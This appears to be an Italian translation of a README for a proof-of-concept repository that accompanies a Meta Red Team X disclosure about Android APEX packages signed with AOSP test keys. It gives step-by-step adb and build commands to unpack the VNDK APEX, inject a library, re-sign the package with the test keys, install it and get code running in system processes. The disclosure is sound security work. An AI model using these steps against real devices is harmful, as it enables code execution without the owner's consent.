
Codice proof-of-concept per la vulnerabilità di riutilizzo delle chiavi APEX di Android
Questo repository è fornito COSÌ COM'È per accompagnare una divulgazione di vulnerabilità di Meta Red Team X. Non è un progetto ufficiale di Meta e non sarà supportato come tale.
Un insieme di script e artefatti che dimostrano l'individuazione e lo sfruttamento di dispositivi Android che includono APEX firmati con chiavi di test di AOSP. Vedi il nostro post del blog "Firme mancanti: come diversi marchi hanno dimenticato di proteggere un componente chiave di Android" per tutti i dettagli del problema.
apex-checker/: Un insieme di script Bash per salvare i digest delle chiavi di test note
e controllare APEX in massa per firme provenienti da queste chiavi.apex-forger/: Wrapper leggeri attorno agli strumenti apexer e
deapexer di AOSP che rendono facile decomprimere, modificare e ricomprimere un APEX.
Come apktool per gli APEX.vndk-libt/: Codice sorgente di una libreria che abbiamo aggiunto a un APEX vulnerabile per
dimostrare che possiamo eseguire codice. Tutto ciò che fa è stampare la riga di comando di
ogni processo che la carica su logcat.m apexer deapexer apksigner per compilare gli strumenti necessari.envsetup.sh (quello qui presente, non quello in AOSP) per far puntare $AOSP
e $ANDROID_HOST_OUT alle posizioni appropriate.adb shell getprop ro.build.version.sdk e adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex.
In caso contrario, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex,
dove <NN> è ro.vndk.version.apex-checker/check.sh vndk.apex. Se
l'output non inizia con "OI" (a indicare che sia la firma esterna che quella interna
provengono da chiavi di test), questo PoC non può essere usato (anche se questo
non garantisce che il dispositivo sia sicuro, poiché altri APEX potrebbero essere ancora vulnerabili).Gli hash in apex-checker/apk-keys.txt e apex-checker/avb-keys.txt
corrispondono alle chiavi di test esterne e interne per i seguenti APEX. Nota che
esistono anche varianti -goog di questi due elenchi, che sono state create da
Google dopo la nostra segnalazione iniziale. Questi elenchi sono in generale più completi, ma
non sappiamo esattamente quali chiavi contengano.
apex-forger/unpack.sh vndk.apex vndk.libutils.so nell'APEX estratto per caricare la nostra
libt.so iniettata: git apply --directory=vndk vndk-libt/libutils-v31.patch. Se
non funziona (ad es. versione VNDK diversa), usare un editor esadecimale per
cambiare manualmente libc.so in libt.so nel DT_NEEDED appropriato di
vndk/payload/lib64/libutils.so.libt.so eseguendo ndk-build dentro vndk-libt/. Copiare
vndk-libt/libs/arm64-v8a/libt.so in vndk/payload/lib64/libt.so.canned_fs_config da apex_build_info.bp. Non esiste uno strumento per farlo
facilmente: la soluzione più vicina è protoc --decode_raw <vndk/apex_build_info.bp
seguita dalla de-escape manuale del campo #3. Mettere canned_fs_config in
vndk/.canned_fs_config, come tutte le altre, per /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC, ciascuno da un processo in cui possiamo eseguire
codice.